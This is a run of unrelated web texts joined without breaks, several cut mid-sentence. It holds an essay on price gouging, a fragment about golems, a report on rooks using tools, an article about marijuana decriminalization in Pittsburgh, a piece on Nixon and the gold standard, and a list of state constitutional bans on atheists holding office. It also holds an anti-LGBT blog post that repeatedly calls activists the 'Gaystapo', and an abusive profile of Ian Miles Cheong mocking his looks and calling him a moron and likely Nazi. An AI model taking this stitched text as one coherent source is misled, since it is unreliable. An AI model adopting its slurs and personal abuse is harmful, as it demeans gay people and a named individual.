And high prices for essential goods certainly do create an incentive not to waste them. That is, unless you’re rich. It doesn’t create any incentive for rich people to think about what they really need, because a rich person could buy a dozen $500 bottles of water after a hurricane and pour half of them into the street. If everyone had the same amount of money, high prices for scarce goods would indeed cause us to have to bid to see who was willing to give up the most, and therefore who valued the goods most. But everyone doesn’t have the same amount of money, which means that those who are willing to “give up” the most aren’t really giving up anything at all, because their wealth means they think nothing of paying a price that you or I might balk at.
What is most bizarre is that economistically-inclined thinkers like Yglesias and Mankiw, who argue that price-gouging efficiently allocates goods, seem not to have any idea what money is. They do not realize that, the greater the inequality, the less true it is that “the price someone can afford to pay” constitutes “the relative value they place on the item.” I might be a high-school theater kid who would give my entire savings to go and see Hamilton. But Greg Mankiw, who is just bored in New York for an evening and wants something to do, is so rich that he can easily outbid the pitiful piggy bank of crumpled bills I have spent months working overtime to collect.
The economic argument for price gouging demonstrates a fundamental ignorance of what wealth actually is to begin with. Yglesias thinks it is silly to give post-disaster supplies out first-come, first-serve rather than to the highest bidder, because this “allocates them arbitrarily to whoever shows up first.” He doesn’t mention that gouging allocates these goods non-arbitrarily to whoever has the most money. The same oversight occurs in much of the discussion around Uber’s “surge pricing.” Financial journalist James Surowiecki, in dismissing consumer concerns about Uber’s practice of multiplying prices during times of scarce supply, speaks disparagingly of “people’s implicit assumption that prices should be set, in some sense, independently of supply and demand.” Yet this assumption is based on a perfectly rational instinct: the feeling that it is unfair when certain things that should be accessible to all can be had only by the rich. People who actually need Uber rides might have to forgo them, so that people who do not need Uber rides (but have lots of money) can have them.
Yet Mankiw, who served on the Counsel of Economic Advisers, does not actually even see the most basic implications of his position. As he writes:
It was only because the price was so high that I was able to buy tickets at all on such short notice. If legal restrictions or moral sanctions had forced prices to remain close to face value, it is likely that no tickets would have been available by the time my family got around to planning its trip to the city.
Of course, the reason no tickets would have been available is that they would have been distributed more equitably, to those who showed up first, rather than to the jackass Harvard professor who strolled up to the theater five minutes before and plopped down a few grand. Yet for Mankiw, a good world is one in which he gets Hamilton tickets, and a bad world is one in which he does not. He cannot conceive of the possibility that it might be otherwise: that the best of all possible worlds is the one in which Gregory Mankiw is gruffly refused admission to Hamilton, as he desperately wails and throws handfuls of bills at the ticket-taker. That the best world is the one in which each is rewarded in accordance with what they need and desire, rather than what they have or own.The Golem- a towering, often silent minion fused with various Earth bound elements summoned into servitude and constriction by "Modern" Jewish mystics.
A series of seals will ensure this alchemical contract, a life-force sacrifice is required to metaphorically represent the meek in deserving control of the mighty.
The Golem is contracted to perform the duties as a servant, as a Beast of Burden, upon a successful sequence of blood-bound contracts, soul trans |
New Caledonian crows, but the interesting thing about the rooks is that they do not use tools in the wild." Both rooks and New Caledonian crows belong to the corvids, a bird group that is renowned for intelligent behaviour. Rooks are a member of the corvid family However, until now, it was thought that sophisticated tool-use was limited to New Caledonian crows, a species found on the island of New Caledonia in the Pacific that create tools to pluck grubs from holes. Mr Bird said: "Tool use is probably very important for these crows because of their ecology - they may get a large proportion of the protein they need from these grubs. "And it has been suggested that tool-use is a trait unique to that species that might have evolved because of ecological pressures." But the finding that rooks can also use tools raises questions about how this special ability might have come about. Mr Bird said: "Rooks don't have the same pressures [as New Caledonian crows]. In the wild they don't need tools - they have lots of access to other sources of food, like carrion, human rubbish, and seeds from agriculture, things like that." The researchers said that this could mean that an ancient ancestor of the corvids might have evolved the capacity to use tools as well as a complex understanding of the physical properties of materials. Dr Emery told BBC News: "Because they don't use tools in the wild, the question is why should they have evolved the ability to use tools in the lab and understand the properties of those objects as tools? "Is this a form of general intelligence that has been co-opted for tool use?" The researchers say the finding raises the possibility that other corvid species may also possess an innate ability to use tools.
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StumbleUpon What are these? E-mail this to a friend Printable versionThe LGBT-Gestapo adapts rather quickly. After Memories Pizza raised $842,432 in just a few days, and Arlene’s Flowers raised over $173 thousand on GoFundMe, the Gaystapo couldn’t let Aaron and Melissa Klein, owners of the now-shuttered Sweet Cakes by Melissa, use that fundraising platform.
A GoFundMe account was established for the Kleins, and raised over $6,000, until the website took it down.
The website GoFundMe said in a statement Saturday that it took down the page because the campaign violated the policy against raising money “in defense of formal charges of heinous crimes, including violent, hateful, or sexual acts.” “The campaign entitled ‘Sweet Cakes by Melissa‘ involves formal charges. As such, our team has determined that it was in violation of GoFundMe’s Terms & Conditions,” said GoFundMe in an email statement. “The money raised thus far will still be made available for withdrawal,” said GoFundMe.
An administrative judge ordered the Kleins to pay $135,000 for violating a 2007 Oregon law protecting “the rights of gays, lesbians, bisexual and transgender people in employment, housing and public accommodations,” according to The Washington Times. The law provides an exemption for religious organizations but does not allow private businesses to discriminate based on sexual orientation.
And we wonder why gay activists go apoplectic over Indiana’s RFRA law, which would protect business owners against this kind of rank persecution—well, it would have, if they hadn’t gutted it.
Samaritan’s Purse, Rev. Franklin Graham’s Christian humanitarian organization, stepped in to help the Kleins raise money.
Stripped of their livelihood and facing financial ruin, the Kleins are being denied funding as if they were guilty of murder or hate crimes. All they did was decline to bake cupcakes for a lesbian wedding. To the Gaystapo, being a Christian is reason enough to be made to live in a cave.
GoFundMe Cancels Sweet Cakes By Melissa Fundraising Campaign, Bakers Blame ‘Satan’ http://t.co/brSV2w77HU — Eric E. (@Phil_e_advocate) April 25, 2015
Apparently GoFundMe has no problem raising money for legal funds, as long as it’s not for Christians. Aldo Alvarez was charged with burglary with assault and battery on a law enforcement officer after allegedly attacking Palm Beach County Sheriff’s deputy Joshua McGehee. McGeheee shot Alvarez, and GoFundMe hasn’t taken down Alvarez’s account.
Neither have they taken down the hundreds of legal defense fund accounts, many of the beneficiaries of which face “formal charges of heinous crimes, including violent, hateful, or sexual acts.”
Nope, only the Kleins, who are accused of violating the Gaystapo’s “made to care” rules, have been stripped of their GoFundMe account.
The real agenda isn’t about cakes or “marriage equality.” It’s about politics and an agenda of control. Even gays can’t escape the agenda’s grasp: Ian Reisner and Mati Weiderpass, openly gay businessmen, are being boycotted simply because they hosted a party for Ted Cruz, with whom they share a support for Israel (a haven for gays in a region where homosexual beheadings are real things, BTW).
On the “Boycott Fire Island Pines Establishment & Out NYC Hotel” Facebook page, one commenter summed it up pretty well.
The focus since Ian Reisner and Mati Weiderpass invited Ted Cruz into their home has been on Cruz’s opposition to marriage equality. But Ted Cruz stands opposed to nearly everything I care about. He opposes even the most basic civil rights protections for LGBT people. While he said he’d love a lesbian daughter (in theory), he’d treat her as a second class citizen and would not respect her fundamental humanity. In addition to being anti-gay, he’s also anti-choice, anti-immigrant, and he subscribes to a fundamentalist Biblical world view. He’s a theocrat. He denies climate change. The NRA gave him an A+ on their scorecard. He’s made outrageously false statements about President Obama, including calling him “an apologist for radical Islamic terrorists.” Ted Cruz is a right-wing fanatic of frightening proportions. Lending ANY kind of support or legitimacy to his candidacy for president is, in my book, unconscionable.
The Gaystapo takes no prisoners, brooks no dissent, and offers no mercy. All in the name of “tolerance.”
Everybody will be made to care.
(crossposted from RedState.com)Pot smokers in Pittsburgh, here is some great news for you!
Just a few days before Christmas, Pittsburgh Mayor Bill Peduto signed into law an ordinance passed by the city council to decriminalize the possession of up to 30 grams of marijuana and other forms of cannabis, including hash. The law also decriminalizes smoking pot, meaning there will be no charges pressed against you even if you are caught smoking a joint in the city. Earlier, if caught smoking marijuana, you could have been sent to prison for a period of 30 days, along with having to pay a fine of up to $500. The new law took effect from the new year and has already been celebrated by marijuana advocates throughout the country.
However, under the new law, a police officer can still issue a civil citation with a fine of $25 to $100, reports Philly.com. There will be a fine of $25 for anyone caught with up to 30 grams of marijuana or eight grams of hashish, which will increase to $100 if an individual is openly possessing marijuana, including smoking in public. An analysis conducted by Carnegie Mellon University concluded that the new law is expected to save the city of Pittsburgh roughly $1 million annually in enforcement costs.
“If you are found in possession of a certain quantity or less, you’ll get a $25 ticket. If you’re found smoking it and in possession of that amount or less, you’ll get a $100 ticket,” said Pittsburgh Mayor Bill Peduto.
Smoking marijuana will not land you in jail in Pittsburgh anymore, according to a new ordinance by the city council just before Christmas.(Photo by Christopher Furlong/Getty Images)
Pot smokers in Pittsburgh have Councilman Daniel Lavelle to thank for the new law, as he is the one who proposed the bill in the first place. The Pittsburgh City Council passed the ordinance 7-2 in favor of decriminalizing possession of pot in the city, with two Councilwomen Darlene Harris and Theresa Kail-Smith voting against the bill. They argued that the change could cause problems with neighboring municipalities, according to WTAE.
“I think it’s the wrong message of making people believe that you’ve done something that you really haven’t done,” said Harris. “The police are still obligated through the laws of the state of Pennsylvania.”
However, the seven members voting in favor of decriminalizing marijuana possession had their own reasons. Most of them argued that charges for possessing small amounts are usually dismissed by local magistrates and that a criminal conviction for possessing pot or hash unfairly keeps people from getting jobs years later.
A law akin to the one passed in Pittsburgh already exists in Philadelphia, Pennsylvania’s largest city, and pro-marijuana advocates hope that Pittsburgh’s decision to decriminalize marijuana will be a major boost for a state hoping to end prohibition. As of now, only four states in the Unites States — Alaska, Colorado, Oregon, and Washington — allow the purchase of marijuana, but with changing attitudes to pot, many expect that other states will soon follow suit.
All of the states mentioned above had already reduced the penalties for possession and use of small amounts of the drug or introduced policies permitting medical marijuana use, and Pittsburgh’s decision to decriminalize marijuana will no doubt be seen by pro-marijuana groups in Pennsylvania as a step — however small — towards legalization.
Marijuana advocates have long been battling for the legalization of pot in states across the country. Pennsylvania could be the next stop in their battle. (Photo by Sean Gallup/Getty Images)
In November this year, California — a state which has already legalized usage of marijuana for medical purposes — will vote for or against complete legalization of pot in the state. The campaign to end prohibition has been endorsed by entrepreneurs such as Sean Parker, who has scored powerful endorsements from national marijuana groups and California Lt. Gov. Gavin Newsom. It remains to be seen if a similar drive will see Pennsylvania legalize marijuana within this decade, but the new law which decriminalizes pot in Pittsburgh may well be viewed as a step towards attaining that.
[Photo by Justin Sullivan/Getty Images]What Didn't Change When Nixon Cut the Gold Link
“Let me lay to rest the bugaboo of what is called devaluation,” Richard Nixon told his fellow Americans on Aug. 15, 1971.
The 37th president had just announced the U.S. would “temporarily” close the gold window — ending the convertibility of dollars into gold that had been key to the postwar Bretton Woods system.
What didn’t change in 1971, though, was every bit as important as what did. Because the dollar remained the world’s reserve currency — a “privilege” that, four decades on, looks increasingly like a curse.
When he made his address, Nixon was keen to allay fears he was undermining the dollar’s value by cutting the link to gold — especially given the apocalyptic warnings (both in the press and inside the White House) of how disastrous such a move would be.
His pitch? “If you want to buy a foreign car or take a trip abroad, market conditions may cause your dollar to buy slightly less. But if you are among the overwhelming majority of Americans who buy American-made products in America, your dollar will be worth just as much tomorrow as it is today. The effect of this action, in other words, will be to stabilize the dollar.”
Any astute viewer that day would have found it eerily reminiscent of British prime minister Harold Wilson’s “Pound in your Pocket” speech four years earlier. Nothing would change besides the entire monetary structure. And now, back to your scheduled programming with Bonanza.
It’s now been over 40 years since the “temporary” suspension of dollar convertibility. Has the dollar been “stabilized”? Clearly not. But what’s worth noting is how much faster the dollar’s domestic purchasing power has fallen in the last four decades — freed from gold — than it did in the 40 years before Nixon’s announcement.
Between August 1931 and August 1971, the consumer price index — as measured by the Bureau of Labor Statistics — went up by 170%. Since 1971, the CPI has risen 453%.
Of course, Nixon tried to spin his economic reforms — the gold window closure was accompanied by a wage and price freeze and a 10% import tariff — as necessary for “building the new prosperity.” The logic was clear. A devalued dollar, aided by the import tax, would increase America’s international competitiveness, while wage and price controls would prevent these policies feeding through into higher inflation.
At least that was the plan. As we know, it didn’t turn out too well on the inflation front. But higher rates of inflation aren’t the only phenomenon we’ve seen since the early 1970s. The irony is Nixon hoped to solve another problem by closing the gold window — the U.S. trade deficit.
“The United States has always been, and will continue to be, a forward-looking and trustworthy trading partner,” he reassured the world on that fateful August evening. Within a minute, Tricky Dicky announced the 10% tax on imports.
Nixon hoped to improve America’s trade balance. Indeed, that was one rationale behind devaluing the dollar by depegging it from gold. But it didn’t work:
The United States has not run a trade surplus since 1974. It has consistently imported more goods and services than it has exported. Most countries cannot do this for long. They need the revenues from exports to pay for imports.
The U.S. is different because it issues the world’s only reserve currency, which is used to settle most international trade. France’s finance minister under president Charles de Gaulle, Valery Giscard d’Estaing, described this in the mid-1960s as America’s “exorbitant privilege” — the ability of the U.S. to fund its trade gap by the creation of new dollars, in which its imports are still denominated.
With gold convertible for dollar bills, this “privilege” risked emptying the United States’ huge stockpile of monetary metal. But freed from that gold obligation in 1971, isn’t the privilege actually still a curse today?
The U.S. was in a tricky position throughout the Bretton Woods era. Its problem was summed up by what became known as the Triffin dilemma, after Belgian economist Robert Triffin. Because as the global economy expanded, he explained, more and more dollar liquidity was needed to oil the wheels of international trade. And the U.S. was the sole issuer of dollars. So the only way the rest of the world could obtain dollars was by exporting more to America than it imported — all but ensuring the U.S. would run a trade deficit.
Of course, the U.S. could seek to match its exports to its imports — but that risked a seize-up of global trade if foreigners could not get hold of sufficient dollars to settle their trading with non-U.S. parties.
That was one part of the Triffin dilemma. The other concerned the link to gold, fixed at $35 an ounce. As more and more dollars entered the system, the ratio of dollars to gold increased, putting upward pressure on the dollar gold price.
The London Gold Pool — whereby central banks clubbed together to keep gold prices down by coordinated gold sales — was set up in 1961 to address this problem. However, the system fell apart after France pulled out — de Gaulle preferring to swap his dollars for gold, rather than vice versa.
The open-market gold price rose, accelerating the drain on U.S. gold reserves, as arbitrageurs realized they could swap $35 for an ounce of U.S. government gold and sell it for more elsewhere.
The fixed-exchange regime of Bretton Woods, resting as it did on a $35-an-ounce gold price, was unsustainable in a world of ever-increasing dollar liquidity. Nixon had three choices — close the gold window, risk setting off a global deflationary spiral, or give away the United States’ remaining stockpile of metal. He closed the window.
The dollar, however, remained the world’s reserve currency. This meant the U.S. was now in a position — both at home and abroad — to really go to town exploiting d’Estaing’s exorbitant privilege. And looking back over the last 40 years, it looks like that’s exactly what successive administrations did.
We hear a lot today about “imbalances” in the global economy. One of the biggest imbalances is that the monetary unit of international trade is issued by a single nation. Gold was giving a strong signal of this disequilibrium half a century ago. Nixon, however, either misread the signals or willfully ignored them. He blamed the dollar’s travails on “international money speculators.”
By doing so, he pushed the world into a whole new monetary system, one whose ultimate backing is the “full faith and credit” of the United States government — and nothing more. It’s a worrying irony that a system resting on such “faith and credit” was midwifed by the man responsible for Watergate.
Regards,
Ben Traynor
Original article posted on Laissez Faire TodayA Thousand Ants, A Million Faces — Ian Miles Cheong
Julian Williams Blocked Unblock Follow Following Sep 28, 2017
Recently there was yet-another-moment in the gaming world where Pewdiepie, the internet’s inexplicably favorite shrieking gamer, blurted out a racial slur on stream, and it naturally caused a blowup. Everyone had varying takes, but from one corner of the internet, from one man, the phrase ‘heated gaming moment’ came, as a way of dismissing any negative reaction. Who, after all, hasn’t screamed out horrific racist slurs just because you were mad? Happens all the time.
It’s been a line that has been consistently mocked, and for good reason. It shows not only a gross, hilarious misunderstanding of psychology — Matt Christman, of Chapo Trap House fame, joked about the Holocaust being ordered by Hitler due to a ‘heated gaming moment’ — but also of race, of political anger, of history, and of gaming.
Ian Miles Cheong, according to his profile, is a journalist who “writes about entertainment, video games, politics, and culture for the Daily Caller.” That never seems to be the case if you’re plugged into Twitter like we all are — he sure looks instead like another Redpiller MRA with a video games hobby, an eager incel coming to the defense of gamers who are terrorized by such monstrous groups as social justice warriors, antifa, and femnazis.
He won’t delete any of these, but this might change if he gets fired.
Who the fuck is this guy, and where did he come from?
Origins
Some of the earliest stuff dug up about Ian is his infamous chatlog where he basically comes out as a Nazi — bagging on basically everyone he can.
Nice guy.
I don’t put this here to explain that this is who Ian always was, just that this is a place to start painting a picture. He, of course, later apologized for his shittalking, and like so many others, chalked it up to being a shitty guy in the ironic internet age. And, for the record, why not believe him? Everyone was an ironic asshole back then. We’ve all done crap we’re not proud of, and it’s probably better to take a shot believing someone turning over a new leaf. After all, what if they really genuinely mean it?
The counterpoint, of course, is, “He could be lying to you.” Which, well, its hard to know when Ian is lying, because I have my doubts Ian doesn’t know when Ian is telling the truth.
As many were back then, Ian was a gaming enthusiast trying to break into the gaming press. He had his own site, Gameranx, which seemed to do well — he had a small writing team including himself, he worked with others, and he was getting well connected. Few were as plugged in as Ian was, and he was known to first break gaming news, happenings, and videos — his twitter and site were always lightning fast to putting up humorous videos or with hot takes about the industry at large. Gameranx didn’t pay well, but that was acceptable, since he was more than happy to take unsolicited writers.
Problem is, Ian’s success as an individual was because he was a mod and frequent user of Reddit, and he basically lived there. Not a single pip of information that went through that site — especially the gaming subreddit — that wasn’t instantly picked up and dropped onto his Twitter, back in its formative years as a social platform, or vice versa. And not just video or images — once people pointed out that his tweets, word for word, were taken wholesale from someone else on Reddit, if not from other people on various sites or chatrooms. The wit was not just borrowed — it was stolen. Most of these are lost on dead image hosting sites, but it’s not hard to see a similar imitation in Ian today.
His Twitter and Reddit profile blew up for good reason; all of his content was already popular on a site that famed itself as the ‘front page of the internet,’ or borrowed the opposite direction — good gags from Twitter dropped to Reddit. His fame certainly wasn’t because of his writing — Ian seems to put no care or focus into his art, merely doing what needs to be done to hit a word count for a post, a skill that serves him well working for Tucker Carlson’s right wing rag, the Daily Caller.
I’m sure he worked very hard, on some level, on Gameranx. And, even his pay was horrible, he did at least pay his writers. But that money came from an exploitation of his Reddit power — as a mod, his posts floated to the top, and he was apparently infamous for spamming his links to his articles at Gameranx, but also his articles on other sites like Uproxx. And for this, he was banned.
Ian’s gains were born out of a combination of thievery and cheating, the kind of which would get a talented writer noticed — or in Ian’s case, a miserable writer credentials he doesn’t deserve.
Gamergate
Nobody needs to be told about Gamergate. You know it, I know it; it is the farm team for Republicans of tomorrow, even in its current zombie state. Gamergate is dead, long live gamergate; praise be to Vivian James.
As well as anyone should have during that time, gamergate blew up hard and everyone was revulsed by it. No matter how hard the miserable cretins argued, nobody was swayed — except for Ian, the man who not long ago was ‘listening and learning.’
If you use Twitter to search Ian’s account for the word, it’s like sawing a tree in half and counting the rings. Pre-2015, it’s interviews with developers targeted by them with SWAT teams and death threats, defenses of the people GG targeted, and an outright revulsion of the ostensibly pro-consumer movement’s obsession with its hate targets. He even told a real life friend about gamergate — something I’m sure 100% for real happened, as I’m sure Malaysian citizens want to know all about about American gamer’s rights.
But from late 2015 to now, it’s the exact opposite; weekly diatribes, on Twitter or his shitty articles, taking shots at people like Zoe Quinn for her book, a person who not even two years ago he said was “a human being — a person” and to “Stop dehumanizing her.” Two years into a controversy he was opposed to, and not only is he friendly to its citizens, he’s bleating the ‘consumer defense’ line at top volume.
His best effort to dismiss the change of heart was a lot of handwringing the kind you see when your divorced dad backs a horrifically racist politician but can’t be honest about why — Ian agrees with some things, and not others. He supports the ideas, but not the culture. He likes the group, but you can’t be responsible for everyone.
Life comes at you fast.
By today, there is no facade — GG was unfairly treated by the media, you don’t have any evidence of your claim, and oh so guilt by association now, just because I befriend and agree with Laura Southern I’m a Nazi now? So much for the tolerant left.
Naturally, people started to notice his rapid drift to the right. It wasn’t hard to notice — when you go from actively chiding the mobbing GG dished out on them, to constantly bitching about how they don’t really know anything, people tend to have questions. There was no defense, and no explanation. Merely a reiteration of the core themes of his newfound values — whatever the fuck they are.
Ian the Anti-SJW
Social justice is not flowers-and-hearts. For every man rightfully pushed out of career space for his repulsive treatment of women, there’s an equally brutal treatment of transgressors when a group becomes too self-absorbed and loses perspective about personal space.
This is especially true of fandoms, places where everyone is welcome, then quickly ‘welcome’ means a myopic view of the situation, and at some point or another, someone is called a pedophile because they love a fictional 18 year old character, fractures appear, and the space becomes poisonous. This is just one example — there’s plenty, such as white feminists with power, who suddenly find themselves unable to stop seeing every critic as a white guy even when they are black, female, queer, etc.
Once, these people — those who ruined others lives and sought only personal vengeance under the guise of ‘equality’ — were called social justice warriors. And they were mistrusted. Gamergate, when it first started, saw these people as poisonous, terrible sociopaths with a chip on their shoulder and a need to exert their power on others for not toeing the line —which was not wrong.
Fast forward mere months from fateful late October 2014 and “SJW” quickly lost all meaning, because anyone critical of the boy’s club of angry adult teenagers became an SJW. And — more amusingly — people who thought the movement was getting too insane were called SJWs too.
That’s right — the movement obsessed with the socially poisonous behavior of ideologues is now ideologically purifying itself of transgressors and critics, because anyone who doesn’t toe the line is trying to destroy the movement. I’m sure some of the more ironic, disingenuous members find this kind of hilarious.
For Ian — as well as his hardcore gaming base — this still stands true, and Ian has used the word until it’s lost all meaning. Not only are SJWs feminists and black justice advocates, they’re his critics for pointing out he’s factually wrong about history, they’re Kotaku for telling you nerds and gamers don’t count as a minority, they’re your teacher for telling you women are historically oppressed, and they’re your mom for telling you that you have to clean your room.
Everyone is a SJW, and the way to not be one is to fit in and not argue with Ian, lest you be turned into a screencap, or the start of an article, where you will be relentlessly mocked by his fanclub, gamergate, and the alt right. Good thing they’re not at all like the SJWs, who bully everyone into agreeing with them.
As just one example — there’s many — let’s take the Joss Whedon story recently. I don’t want to throw anyone on Twitter under the bus for being targeted by Ian, so he’s a good place to start.
Whedon’s ex-wife came out about the way Whedon cheated on her repeatedly, and that he’s a total hypocrite posing as a feminist creator icon. And there’s things to talk about in there — Whedon’s work is beloved, but everything is deserving of criticism. But Ian didn’t do…well, anything, really — he just called him a male feminist and reprinted her letter in a Daily Caller article, then kept bitching about Whedon for about a week.
Really, that’s literally all he did; the whole article is just this.
This might seem fine, but keep in mind the people who buy this shit have no context for what words mean, and not detailing the how and why leaves everything up to the Daily Caller reader’s imagination. Ian has no opinion or stance to dissect this news that he puts forward, meaning the audience — Ian’s readers — can only take it to mean Whedon is another SJW, another male feminist, another anti-GG guy, another progressive, and so on and so forth.
Keep in mind, when the Ian fanclub is told Joss Whedon is a male feminist and an SJW, that puts him in the same box as Brianna Wu, Andrea Dworkin, Bungie, multiple YouTube guys, Polygon, Marvel Comics, five Twitter users who told him he sucks, Barack Obama, Giant Bomb, and the entire cast and crew of Wonder Woman. And you imply that they’re all either likely to commit harassment or abuse of women, or already have and are covering it up. After all, you know what those people are like.
You can see why this grift would be popular with conservatives — it’s literally the same one done to immigrants in the modern day with Muslims and Mexicans. The Bad People are Bad, and you can tell they’re Bad because I keep telling you they’re Bad with every reveal that one of them was Bad. Tune in next week to find out how another surprising person was revealed to be Bad, thus confirming the slow spread of Bad. You can tell he fits in well at Daily Caller with a propaganda style like that, and it was an easy tweak to make it about antifa.
Antifa are a terrorist organization, antifa smash windows for fun, antifa are against free speech, antifa are anarchists, antifa is a violent mob…the whole list. It’s not hard to see why Daily Caller hired him — I’ve seen exactly all those phrases used on BLM, verbatim. Ian had found his grift, and it was conservative journalism, that thing literally anyone can do because it requires no skill or talent.
Again, this has made his account hilarious because within three years he has the complete opposite opinion on everything.
Nuclear Takes
If it wasn’t the Cuphead controversy that brought you into learning who he was, and it wasn’t “heated gaming moment,” there had to have been a dozen others before it, each one more foolish than the last.
(Note: Between writing this and publishing it he’s had at least three more, and I doubt it will end soon. The most recent one was “pro-globalist Star Trek,” which can only be setting him up for a nice career at Breitbart.)
That’s really the best thing about Ian, and why he’s so mocked around Twitter — there’s so, so many instances that bring you such hilarity as “heated gaming moment,” where he runs gleefully into being wrong in ways that are honestly impressive. How can you not show a screencap of such self-defeating hilarity as Ian declaring sexual promiscuity makes people unhappy? Or how periods last two weeks out of the month? Or how the Nazis actually became antisemetic only after getting into power in the German government?
That’s not even including all the contradictions. He’ll write long, insufferable diatribes about how the left hates free speech, then cheer a professor getting fired for his speech, or even cheer on takedowns of sites like Gawker. He’ll call male feminists fat and ugly (even though he looks like a fish rolled in dog hair) then use you calling him a pillow-humping weeb as reason to not reply to you, because you’re not engaging in good faith. He’ll laugh at feminists for getting facts wrong, then totally blow off the historians that dig into his claim Nazis were socialists and demonstrate in long detail that he has no idea what he’s saying. And this keeps happening.
And speaking of which, doesn’t Malaysia have really horrible speech laws? Nothing about that? Oh, okay, cool, fine then, I guess the lack of money makes it not worth pursuing quite like social justice warriors mad about a line of dialogue in the new Baldur’s Gate game. Or wait, were the social justice warriors the developers of that game, and the gamers the good guys?
I could go on and on about how hilariously, bafflingly wrong Ian constantly is, but it really can be boiled down to one tweet that — I think — really sums up Ian.
It’s honestly the perfect Ian tweet. It sums up his obsessive, slavish devotion to defending gamers, the real persecuted minority. He frames it in legitimacy as being a consumer advocate (where have I heard that line before?). And, most of all, he thinks that he’s above or detached from politics — like games themselves, his views can’t communicate political ideas, because he said so.
Ian, at this point, opposes everything that’s not the status quo, because to wish for things to be different is an SJW cuck’s idea. Capitalism, gender identity, fascism, patriarchy…what was once an ostensibly forward-thinking games writer now is identical to the cranky neocon Never Trumpers he shares a website with. How different it would be if those patriots of the Republican Party knew he likely hasn’t lived in America ever — and if he did, who knows how long it was.
He’s here to advocate that you are oppressed and that your opponent feels foolish. That’s why he made an edit of the Dean Takahashi Cuphead video — what else would stimulate his young angry gamer fanbase than pointing out the people reporting on video games are inferior to you, and are bad at their jobs? Ian might be a miserable writer, but like Trump, he understands how to stoke his base.
Who is Ian Miles?
Ian is best described as a fusion of Milo and Paul Watson — an ugly, middle-aged, foppish loser, failing upward through a combination of ignorant fans who don’t understand what a talentless hack their icon is and a lucky streak that has kept them loyal purely for angering the right people. And, equally, he is also a self-contradicting moron, desperate to be liked, who has never read a book in his life and doesn’t plan to, spouting completely wrong facts and shrugging off when actual historians, scientists, or just fact-checkers bring reality to him.
He’s a worthless dullard who manipulated systems to give himself a platform, and with no skill or wit to buoy himself or wholesale steal, he now floats aimlessly, peddling his articles on far right corners of the net, doing the only thing talentless hacks like him can do — drift further to the right as they are forced to write articles that convince old people the world outside is scary.
The only thing that separates him from every other neocon hack cashing a check is an impossibly large prebuilt audience of young gamers, ironic Nazis, and /pol/ sociopaths. Because he’s never had an original idea in his life, he’s adopted every one of their mannerisms and injokes such as the years-old shot at transgender people, “I identify as an attack helicopter!” Please, sir, can I borrow a cup of wit?
He doesn’t quite fit in to the nihilistic channers. He’s always fast to accept any form of praise and affection, smashing that like button when a pretty girl Nazi like Laura Southern tells him how right he is, and he’s incredibly touchy on being mocked or called out. This is not to laugh at Ian being ugly — the genetic lottery is cruel and brutal — but to point out that, despite his newfound popularity as a shit-flinger, he has no ability to laugh at himself or roll with a joke. Instead of firing back, you’re a neckbeard male feminist, loser. Pause for laughs.
And yet, despite the blatant touchy behavior, the factual wrongness, the defense of fascism, and openly contradicting himself weekly…his fans remain. Ironic Nazis, shitposters, gamergaters, neocons, Islamophobes, and 34 year old ignorant children, worried about the fat feminists who want to take their games away.
It doesn’t matter how often he blatantly contradicts himself, or is wrong, or says hilarious shit like ‘SJWs relying on strawmen’ after literally posting a comic mocking them. Ian has built himself a perfect world where everything he says is gospel, everyone likes him, and SJWs are always out to get gamers and him. He lives in his very own hugbox, his own tumblr fandom, his own safe space.
From there, he’ll write screed after screed attacking the evil social justice warriors, antifa, progressives, liberals…everyone who he doesn’t like, everyone who makes fun of him, everyone who corrects him about being wrong. They’re all SJWs. And as more and more people fit into the evil ‘SJW’ category, the further that distance he put himself from Trump, and the Republicans, and the alt right dwindles away, leaving him not just covering the party, but drinking and talking with the participants.
Ian isn’t a person — he’s a bot the internet created. Ian is a liquid that can only take the shape of the things around him. Ian has no morals, no stance, and no views that he won’t change for approval or money. Milo and PJW, at least, seem to be born in neoconservative morals and have doubled down as they discover careers in it. Ian, meanwhile, is aimless without other people’s opinions to agree with.
This is why I started with his old chat logs and suggested that he could be an internet Nazi, or an ironic shitposter. It doesn’t matter, because Ian will be any of these things. If the money and adoration was in the other direction, he would likely swing there again. And why not? If he changed positions again, the amount of people making fun of him for being a dickless yes man would be the same — just the ironic Nazis instead of the ironic socialists.
Milo openly declared that he liked having sex with young men, and it was what created his downfall in the homophobic conservative media. Though Milo was embraced for his campaign of being a queer nihilistic troll, purely because it ‘triggered the libs’, he’s still paid and funded by conservatives. As Ian drifts further right, becoming more and more like Paul Joseph Watson, I wonder how long it’ll be before he has his Milo moment, where the entire world flees him, and neither the ironic Nazis nor the SJWs will have him, and he will have no jar to take the shape of, and Ian will be alone, and desperate, and no happier than he was a decade ago.Six years ago, |
to testify because her testimony is irrelevant, the witness is incompetent, or the testimony could be prejudicial, then there are solid, legal reasons to disallow the testimony. If a witness is rejected solely based on her disbelief in a specific deity, the side attempting to call the witness would be quite right to challenge the state constitution on 1st Amendment grounds.
By drawing attention to the state constitution provisions listed below, the desire is that they will be seen as unnecessary and discriminatory, and either challenged under the federal constitution or repealed.
(Thanks to Mike Newdow for providing a fuller list than I had previously published. If you know of any similar state constitution provisions that are missing from this list, please email the Webmaster.)
Arkansas
Article 19, Section 1 (Denial of Office, Denial as Witness):
No person who denies the being of a God shall hold any office in the civil departments of this State, nor be competent to testify as a witness in any Court.
Maryland
Article 36 (Denial as Witness):
...nor shall any person, otherwise competent, be deemed incompetent as a witness, or juror, on account of his religious belief; provided, he believes in the existence of God, and that under His dispensation such person will be held morally accountable for his acts, and be rewarded or punished therefor either in this world or in the world to come.
Article 37 (Denial of Office):
That no religious test ought ever to be required as a qualification for any office of profit or trust in this State, other than a declaration of belief in the existence of God; nor shall the Legislature prescribe any other oath of office than the oath prescribed by this Constitution.
Mississippi
Article 14, Section 265 (Denial of Office):
No person who denies the existence of a Supreme Being shall hold any office in this state.
North Carolina
Article 6, Section 8 (Denial of Office):
The following persons shall be disqualified for office:
First, any person who shall deny the being of Almighty God.
Pennsylvania
Article 1, Section 4 (Denial of Office):
No person who acknowledges the being of a God and a future state of rewards and punishments shall, on account of his religious sentiments, be disqualified to hold any office or place of trust or profit under this Commonwealth.
(This section specifies that someone who acknowledges God cannot be denied office; conversely, anyone who does deny Godbe, rather thanbe, denied office. The restriction is not as concrete as other denials of office.)
South Carolina
Article 6, Section 2 (Denial of Office):
No person who denies the existence of the Supreme Being shall hold any office under this Constitution.
Tennessee
Article 9, Section 2 (Denial of Office):
No person who denies the being of God, or a future state of rewards and punishments, shall hold any office in the civil department of this state.
(Note that Article 9, Section 1 denies office to any "minister of the Gospel, or priest of any denomination.")
Texas
